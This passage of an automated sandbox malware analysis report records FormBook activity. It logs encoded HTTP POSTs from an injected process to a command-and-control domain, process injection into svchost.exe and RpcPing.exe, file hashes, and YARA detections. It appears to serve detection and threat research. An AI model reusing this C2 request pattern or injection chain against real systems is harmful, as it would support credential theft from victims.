Oct 8, 2024 15:36:58.822674036 CEST	112	IN	Data Raw: f6 2a 2c 64 ab 42 2d 8e 17 36 9d d0 0f b8 88 c7 bd 5e 34 b2 e7 67 01 8c 73 68 67 d0 d5 2f d5 e6 ae 64 8b 42 98 95 c9 8b 37 6d 74 8c 8d 47 7e 3e 1c 0b 6f 77 ce ca 76 e8 bb a3 48 ad 08 ba 0c 39 6b 9c c1 cf f0 ca 4a 49 48 17 cf 9e c8 11 74 a2 3e 99 Data Ascii: *,dB-6^4gshg/dB7mtG~>owvH9kJIHt>0f2hS)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	60861	194.58.112.174	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:37:00.675344944 CEST	761	OUT	POST /hd7m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.torex33.online Origin: http://www.torex33.online Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.torex33.online/hd7m/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 68 4a 7a 6b 57 63 72 30 76 48 64 57 64 31 67 64 69 51 66 33 43 75 39 6a 4b 31 54 65 35 38 77 64 6e 45 58 67 75 4b 73 72 34 2b 66 43 4e 66 41 45 33 59 45 38 43 63 37 44 74 41 66 4e 61 51 42 2f 5a 76 59 52 47 76 58 5a 54 56 32 45 56 48 44 71 69 4d 4d 65 77 51 52 53 38 58 50 63 38 77 6e 6f 37 77 30 54 39 38 48 4e 4a 34 4e 51 30 53 42 48 64 35 4b 67 74 49 42 76 65 2f 5a 41 72 4d 4d 77 54 54 38 72 69 6f 65 6e 6b 52 68 65 72 34 39 41 45 33 64 46 2b 34 4a 48 6a 51 71 43 2b 72 2f 43 36 35 64 57 34 6e 32 4e 36 41 6e 31 2f 4f 78 48 62 43 50 71 65 67 5a 53 39 59 48 55 4f 76 66 31 66 62 48 63 67 50 50 46 39 57 77 41 57 4f 31 6d 55 41 3d 3d Data Ascii: tpTd=hJzkWcr0vHdWd1gdiQf3Cu9jK1Te58wdnEXguKsr4+fCNfAE3YE8Cc7DtAfNaQB/ZvYRGvXZTV2EVHDqiMMewQRS8XPc8wno7w0T98HNJ4NQ0SBHd5KgtIBve/ZArMMwTT8rioenkRher49AE3dF+4JHjQqC+r/C65dW4n2N6An1/OxHbCPqegZS9YHUOvf1fbHcgPPF9WwAWO1mUA==
Oct 8, 2024 15:37:01.358906031 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:37:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 65 33 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 01 96 94 88 64 9c b4 43 12 4b 72 d3 a4 db 97 b4 1d e0 74 c3 e0 a6 c2 15 75 2d b1 a2 48 8d a4 ec a8 49 80 36 e9 2b 1a 34 68 57 60 43 b1 f7 61 d8 a7 01 89 13 af 6e 5e 9c bf 40 fe a3 3d e7 5c 92 a2 64 c9 71 d2 b4 ab 01 db d2 7d 3d f7 9c e7 3c e7 dc 97 fa d1 8e 6f 47 e3 a1 12 bd 68 e0 36 eb f4 57 d8 ae 0c c3 46 c9 09 5b b2 23 87 91 b3 a9 4a c2 95 5e b7 51 0a 46 25 b4 51 b2 d3 ac 0f 54 24 85 dd 93 41 a8 a2 46 e9 ad 4b bf 30 4e a3 8e 4b 3d 39 50 8d d2 50 06 7d c7 eb 96 84 ed 7b 91 f2 d0 28 50 dd 60 64 04 18 73 ba e5 a6 a3 b6 86 7e 10 15 9a 6e 39 9d a8 d7 e8 a8 4d c7 56 06 7f a9 39 9e 13 39 d2 35 42 5b ba aa b1 8c 21 22 27 72 55 73 6b 6b cb 8c fc 40 5d 39 75 ca f4 3d d7 f1 54 dd d2 35 75 7c e9 8b 40 b9 8d 52 18 8d 5d 15 f6 94 c2 24 03 d5 71 64 a3 24 5d b7 24 7a 81 da c8 45 65 d1 0c 39 8a 7c d3 0e 43 4c 30 e9 ef 60 11 59 eb 0d 09 a9 7c cf c4 9f d5 e5 92 20 ed 41 59 03 d9 55 d6 15 83 1b 36 eb a1 1d 38 c3 a8 69 1d ab 1f 5d 3f 7f [TRUNCATED] Data Ascii: e32Zmo_qdCKrtu-HI6+4hW`Can^@=\dq}=<oGh6WF[#J^QF%QT$AFK0NK=9PP}{(P`ds~n9MV995B[!"'rUskk@]9u=T5u\|@R]$qd$]$zEe9\|CL0`Y\| AYU68i]?s#[!l 7hgGUW]<ftt0y4JHPad%WAPvT6l<6,f#mSQd4Z~gma+\|\\|j-"RAqnj4T=E\|\DL$x7 ;TJmj3h,[J~xA\!hv3y?YdnabJpAS[FlF#d0S6NmX`j(er>\4nz;hXb-`->\(\|/U +!~b+&j)Rs,CH-p3;"g=k;jo,u8H%9G+GohB((=v^MH''aQ4$#;Rt2!uZe(x/$)#-8a8j)k^!pc0_kfT0\UGrXo1fmEm_G [TRUNCATED]
Oct 8, 2024 15:37:01.358947039 CEST	1236	IN	Data Raw: df d3 f6 e9 ac 13 f3 17 a8 d5 35 06 f0 65 c7 6b b9 6a 23 32 b4 5f 63 c2 28 f0 bd ee d3 8d 02 1e 06 dc 6d 0a 63 ff 02 7a 11 b3 a0 de c7 f1 3d e0 8c 47 98 e2 d8 59 d7 d5 ca 09 47 6d 6d f2 5c 92 b6 0f b6 1b 20 4a 7a 0a e3 fe 19 b1 ef 7e f2 25 5c e4 Data Ascii: 5ekj#2_c(mcz=GYGmm\ Jz~%\qynT\@)9f@JF@towZYj!;]har`$C/0N1(j$?<,C*r>C+@?: 1AO!V?lX
Oct 8, 2024 15:37:01.358963013 CEST	1236	IN	Data Raw: 65 95 c8 78 ff 49 a4 c9 5c 07 ca d2 71 58 e4 a9 68 0a 2f 4e bc 17 83 31 db 87 73 0a 0b d2 a3 b0 4e 89 40 31 89 45 d2 cc 69 01 67 c5 85 e3 09 34 47 4a 0c 2e 7f 04 fe fc 94 c3 3d f6 b5 0c 74 c8 73 54 c4 df 70 37 00 5a e7 1a a0 ee 1a f6 ca f9 66 9a Data Ascii: exI\qXh/N1sN@1Eig4GJ.=tsTp7Zf\|pAP9'G'y'qP4giyMg=3y"!Tz ^{R\|s;.t^JfW##Y?GDA&CU1'pT
Oct 8, 2024 15:37:01.359042883 CEST	112	IN	Data Raw: f6 2a 2c 64 ab 42 2d 8e 17 36 9d d0 0f b8 88 c7 bd 5e 34 b2 e7 67 01 8c 73 68 67 d0 d5 2f d5 e6 ae 64 8b 42 98 95 c9 8b 37 6d 74 8c 8d 47 7e 3e 1c 0b 6f 77 ce ca 76 e8 bb a3 48 ad 08 ba 0c 39 6b 9c c1 cf f0 ca 4a 49 48 17 cf 9e c8 11 74 a2 3e 99 Data Ascii: *,dB-6^4gshg/dB7mtG~>owvH9kJIHt>0f2hS)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	60862	194.58.112.174	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:37:03.223001003 CEST	1774	OUT	POST /hd7m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.torex33.online Origin: http://www.torex33.online Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.torex33.online/hd7m/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 68 4a 7a 6b 57 63 72 30 76 48 64 57 64 31 67 64 69 51 66 33 43 75 39 6a 4b 31 54 65 35 38 77 64 6e 45 58 67 75 4b 73 72 34 2b 58 43 4e 73 49 45 33 37 73 38 44 63 37 44 6b 67 66 64 61 51 42 59 5a 76 51 56 47 75 71 75 54 58 2b 45 56 68 58 71 31 74 4d 65 35 51 52 53 6a 48 50 52 69 41 6e 35 37 78 45 66 39 2f 2f 4e 4a 34 4e 51 30 55 46 48 65 73 6d 67 76 49 42 67 4b 76 5a 45 76 4d 4d 49 54 58 6f 37 69 6f 62 51 6b 42 42 65 73 59 74 41 46 45 6c 46 6a 49 4a 42 67 51 71 61 2b 72 7a 64 36 35 51 6e 34 6e 79 33 36 48 72 31 39 49 38 76 44 6a 33 73 4b 43 4e 6b 79 70 6e 75 4c 34 76 69 47 4b 36 61 2f 76 50 6c 6b 57 64 63 41 2f 51 64 51 61 44 48 56 62 73 65 77 6f 54 6d 4e 66 73 73 41 59 6b 73 56 31 77 65 6e 43 67 42 4c 2f 32 68 4d 4a 31 35 5a 4c 42 4a 43 72 50 56 58 44 59 31 6e 58 6b 52 70 34 72 79 57 67 4a 47 2f 71 51 30 39 6c 50 61 72 51 4e 55 6c 34 5a 37 51 7a 53 63 78 67 59 46 4f 4b 45 47 45 34 4f 75 54 52 72 6d 4a 32 41 45 53 49 47 79 51 65 44 4f 52 52 44 4e 59 33 33 41 35 56 42 30 36 6a 42 79 42 [TRUNCATED] Data Ascii: tpTd=hJzkWcr0vHdWd1gdiQf3Cu9jK1Te58wdnEXguKsr4+XCNsIE37s8Dc7DkgfdaQBYZvQVGuquTX+EVhXq1tMe5QRSjHPRiAn57xEf9//NJ4NQ0UFHesmgvIBgKvZEvMMITXo7iobQkBBesYtAFElFjIJBgQqa+rzd65Qn4ny36Hr19I8vDj3sKCNkypnuL4viGK6a/vPlkWdcA/QdQaDHVbsewoTmNfssAYksV1wenCgBL/2hMJ15ZLBJCrPVXDY1nXkRp4ryWgJG/qQ09lParQNUl4Z7QzScxgYFOKEGE4OuTRrmJ2AESIGyQeDORRDNY33A5VB06jByBzBLC5oOi1IE0bg8VMsO5uGBoIPhz0zBymkhWgXW54fED28GBa4PwXI7n+imr5ExSxCiQCmfHHQryJvtx1yD3wkQoiWQcRONs/uQWFJnEuWttKGHTTVSBq0HN4gUUrUazlXQzGM7nXQdUTCjBzNT4TRof5RSW23O4rMgfgPXoIq+iG/MortRjQIwBSlo/Q1KuglwY9rAnp2Xqr9WcsgI0AaXULn8t28tS6I+Ib+rEyGXlZs22eenFt+WH15a/tgzQScpDbFE2n0nmRmA/zOyYi8mdOuhDVWimoIa4N7oFTqW83GNUkObdb7F9qozAY8doxRHtQcZXa+UYharpXxuRV4/eIQHPjUt9+7/Pv+eRuGFAevXLkObLBt4OJyIAsDmjSXhfljVn8VRC8HMGjqMA+iG7Cm6u37/0WMiXhAzodBJ+GkLW/XMDwL6HMuCF64iLpYCycv1U7sOF3iupd2whvwWc+AnCJcyMaJe56rQty9seDReCNpF3VlUhTARMVIe4eF6WxOIpvM58wAxjbIyRysL+DxDxa8ytAinA6VUQbkoehMI60ftg819OlCRYHpWEi3LMOEJH5vWo5xn2PtZPJjDuFLHs8Ct4dlLjTRMBbBF5CQN3NeDtEsiv08JaYh4SPfO9Qn8HvlX444bbCIQEpB6GTGgAfrjPie [TRUNCATED]
Oct 8, 2024 15:37:03.925353050 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:37:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 65 33 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 01 96 94 88 64 9c b4 43 12 4b 72 d3 a4 db 97 b4 1d e0 74 c3 e0 a6 c2 15 75 2d b1 a2 48 8d a4 ec a8 49 80 36 e9 2b 1a 34 68 57 60 43 b1 f7 61 d8 a7 01 89 13 af 6e 5e 9c bf 40 fe a3 3d e7 5c 92 a2 64 c9 71 d2 b4 ab 01 db d2 7d 3d f7 9c e7 3c e7 dc 97 fa d1 8e 6f 47 e3 a1 12 bd 68 e0 36 eb f4 57 d8 ae 0c c3 46 c9 09 5b b2 23 87 91 b3 a9 4a c2 95 5e b7 51 0a 46 25 b4 51 b2 d3 ac 0f 54 24 85 dd 93 41 a8 a2 46 e9 ad 4b bf 30 4e a3 8e 4b 3d 39 50 8d d2 50 06 7d c7 eb 96 84 ed 7b 91 f2 d0 28 50 dd 60 64 04 18 73 ba e5 a6 a3 b6 86 7e 10 15 9a 6e 39 9d a8 d7 e8 a8 4d c7 56 06 7f a9 39 9e 13 39 d2 35 42 5b ba aa b1 8c 21 22 27 72 55 73 6b 6b cb 8c fc 40 5d 39 75 ca f4 3d d7 f1 54 dd d2 35 75 7c e9 8b 40 b9 8d 52 18 8d 5d 15 f6 94 c2 24 03 d5 71 64 a3 24 5d b7 24 7a 81 da c8 45 65 d1 0c 39 8a 7c d3 0e 43 4c 30 e9 ef 60 11 59 eb 0d 09 a9 7c cf c4 9f d5 e5 92 20 ed 41 59 03 d9 55 d6 15 83 1b 36 eb a1 1d 38 c3 a8 69 1d ab 1f 5d 3f 7f [TRUNCATED] Data Ascii: e32Zmo_qdCKrtu-HI6+4hW`Can^@=\dq}=<oGh6WF[#J^QF%QT$AFK0NK=9PP}{(P`ds~n9MV995B[!"'rUskk@]9u=T5u\|@R]$qd$]$zEe9\|CL0`Y\| AYU68i]?s#[!l 7hgGUW]<ftt0y4JHPad%WAPvT6l<6,f#mSQd4Z~gma+\|\\|j-"RAqnj4T=E\|\DL$x7 ;TJmj3h,[J~xA\!hv3y?YdnabJpAS[FlF#d0S6NmX`j(er>\4nz;hXb-`->\(\|/U +!~b+&j)Rs,CH-p3;"g=k;jo,u8H%9G+GohB((=v^MH''aQ4$#;Rt2!uZe(x/$)#-8a8j)k^!pc0_kfT0\UGrXo1fmEm_G [TRUNCATED]
Oct 8, 2024 15:37:03.925373077 CEST	1236	IN	Data Raw: df d3 f6 e9 ac 13 f3 17 a8 d5 35 06 f0 65 c7 6b b9 6a 23 32 b4 5f 63 c2 28 f0 bd ee d3 8d 02 1e 06 dc 6d 0a 63 ff 02 7a 11 b3 a0 de c7 f1 3d e0 8c 47 98 e2 d8 59 d7 d5 ca 09 47 6d 6d f2 5c 92 b6 0f b6 1b 20 4a 7a 0a e3 fe 19 b1 ef 7e f2 25 5c e4 Data Ascii: 5ekj#2_c(mcz=GYGmm\ Jz~%\qynT\@)9f@JF@towZYj!;]har`$C/0N1(j$?<,C*r>C+@?: 1AO!V?lX
Oct 8, 2024 15:37:03.925398111 CEST	1236	IN	Data Raw: 65 95 c8 78 ff 49 a4 c9 5c 07 ca d2 71 58 e4 a9 68 0a 2f 4e bc 17 83 31 db 87 73 0a 0b d2 a3 b0 4e 89 40 31 89 45 d2 cc 69 01 67 c5 85 e3 09 34 47 4a 0c 2e 7f 04 fe fc 94 c3 3d f6 b5 0c 74 c8 73 54 c4 df 70 37 00 5a e7 1a a0 ee 1a f6 ca f9 66 9a Data Ascii: exI\qXh/N1sN@1Eig4GJ.=tsTp7Zf\|pAP9'G'y'qP4giyMg=3y"!Tz ^{R\|s;.t^JfW##Y?GDA&CU1'pT
Oct 8, 2024 15:37:03.925409079 CEST	112	IN	Data Raw: f6 2a 2c 64 ab 42 2d 8e 17 36 9d d0 0f b8 88 c7 bd 5e 34 b2 e7 67 01 8c 73 68 67 d0 d5 2f d5 e6 ae 64 8b 42 98 95 c9 8b 37 6d 74 8c 8d 47 7e 3e 1c 0b 6f 77 ce ca 76 e8 bb a3 48 ad 08 ba 0c 39 6b 9c c1 cf f0 ca 4a 49 48 17 cf 9e c8 11 74 a2 3e 99 Data Ascii: *,dB-6^4gshg/dB7mtG~>owvH9kJIHt>0f2hS)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	60863	194.58.112.174	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:37:05.782306910 CEST	475	OUT	GET /hd7m/?tpTd=sLbEVsfW73VtVB0Jvj7gC+ceEVX4meQWoUuArYo60q3nO/kAxb5tEPXYoxmPYHkEXIEIOfWFMW/cSWDV+KoY2jgQgwLtxzjq6i8n+9HhH6xOpB1tMw==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.torex33.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:37:06.472611904 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:37:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 39 35 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 74 6f 72 65 78 33 33 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 [TRUNCATED] Data Ascii: 2953<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.torex33.online</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text">  <a class="b-link" href="https://reg.ru [TRUNCATED]
Oct 8, 2024 15:37:06.472735882 CEST	1236	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67 65 5f 5f 63 Data Ascii: <div class="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.torex33.online</h1><p class="b-parking__header
Oct 8, 2024 15:37:06.472752094 CEST	448	IN	Data Raw: 83 d1 81 d0 bb d1 83 d0 b3 d0 b8 20 d0 a0 d0 b5 d0 b3 2e d1 80 d1 83 3c 2f 68 32 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 Data Ascii: .</h2><div class="b-parking__promo"><div class="b-parking__promo-item b-parking__promo-item_type_hosting-overall"><div class="b-parking__promo-header"><span class="b-parking__promo-image b-parking__promo-image_type_hostin
Oct 8, 2024 15:37:06.472765923 CEST	1236	IN	Data Raw: 70 3b d0 b1 d1 8b d1 81 d1 82 d1 80 d1 8b d0 b9 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 66 65 61 74 75 72 65 73 22 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 Data Ascii: p;</p></div></div><ul class="b-parking__features"><li class="b-parking__features-item"><strong class="b-title b-parking__features-title"></strong><p class="b-text">
Oct 8, 2024 15:37:06.472784042 CEST	1236	IN	Data Raw: 33 26 6e 62 73 70 3b 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 68 61 72 2d 72 6f 75 62 6c 65 2d 6e 61 74 69 76 65 22 3e 26 23 38 33 38 31 3b 3c 2f 73 70 61 6e 3e 20 3c 2f 62 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 2d 6d 61 72 67 69 6e 5f 6c Data Ascii: 3 <span class="char-rouble-native">₽</span> </b><span class="l-margin_left-small"> </span></p></div></div><div class="b-parking__promo-item b-parking__promo-item_type_hosting"><strong class="b-title b-title_size_lar
Oct 8, 2024 15:37:06.472804070 CEST	1236	IN	Data Raw: d0 bd d0 be d0 b2 d0 ba d0 b8 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d1 8b d1 85 20 d0 bc d0 be d0 b4 d1 83 d0 bb d0 b5 d0 b9 2e 3c 2f 70 3e 3c 61 20 63 6c 61 73 73 3d 22 62 2d 62 75 74 74 6f 6e 20 62 2d 62 75 Data Ascii: .</p><a class="b-button b-button_color_reference b-button_style_block b-button_size_medium-compact b-button_text-size_normal" href="https://www.reg.ru/web-sites/?utm_source=www.torex33.onli
Oct 8, 2024 15:37:06.472816944 CEST	1236	IN	Data Raw: 67 68 74 2d 6c 61 72 67 65 22 3e 3c 2f 73 70 61 6e 3e 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 62 2d 74 69 74 6c 65 20 62 2d 74 69 74 6c 65 5f 73 69 7a 65 5f 6c 61 72 67 65 2d 63 6f 6d 70 61 63 74 20 62 2d 74 69 74 6c 65 5f 6d 61 72 67 69 Data Ascii: ght-large"></span> <strong class="b-title b-title_size_large-compact b-title_margin_none">SSL-  6 </strong><a class="b-button b-button_color_reference b-button_size_medium-compact
Oct 8, 2024 15:37:06.472836018 CEST	896	IN	Data Raw: 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6f 6e 64 61 74 61 28 64 61 74 61 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 64 61 74 61 2e 65 72 72 6f 72 5f 63 6f Data Ascii: set="utf-8"></script><script>function ondata(data){ if ( data.error_code ) { return; } if ( data.ref_id ) { var links = document.querySelectorAll( 'a' ); for
Oct 8, 2024 15:37:06.473220110 CEST	1236	IN	Data Raw: 61 63 6b 3d 6f 6e 64 61 74 61 27 3b 0a 20 20 20 20 20 20 20 20 73 63 72 69 70 74 2e 61 73 79 6e 63 20 3d 20 31 3b 0a 20 20 20 20 20 20 20 20 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 3c 2f 73 63 72 69 70 74 Data Ascii: ack=ondata'; script.async = 1; head.appendChild( script );</script><script>if ( 'www.torex33.online'.match( /xn--/ ) && document.querySelectorAll ) { var spans = document.querySelectorAll( 'span.puny, span.no-puny' ),
Oct 8, 2024 15:37:06.473464012 CEST	746	IN	Data Raw: 6e 74 73 29 3b 7d 0a 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 55 41 2d 33 33 38 30 39 30 39 2d 32 35 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c Data Ascii: nts);} gtag('js', new Date()); gtag('config', 'UA-3380909-25');</script>... Yandex.Metrika counter --><script type="text/javascript">(function(m,e,t,r,i,k,a){m[i]=m[i]\|\|function(){(m[i].a=m[i].a\|\|[]).push(arguments)}; m[i].l=1*ne

Target ID:	0
Start time:	09:32:59
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\N2Qncau2rN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\N2Qncau2rN.exe"
Imagebase:	0x400000
File size:	1'401'699 bytes
MD5 hash:	47D011CED9BD433871F605C662C06B55
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:33:00
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\N2Qncau2rN.exe"
Imagebase:	0x110000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1888404688.00000000032D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1886252240.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1888965861.0000000006200000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	09:33:14
Start date:	08/10/2024
Path:	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe"
Imagebase:	0xa00000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4128752269.0000000004BC0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	5
Start time:	09:33:17
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\RpcPing.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\RpcPing.exe"
Imagebase:	0x5d0000
File size:	26'624 bytes
MD5 hash:	F7DD5764D96A988F0CF9DD4813751473
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.4128778951.00000000029B0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.4122907990.0000000000470000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4126780482.0000000002730000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 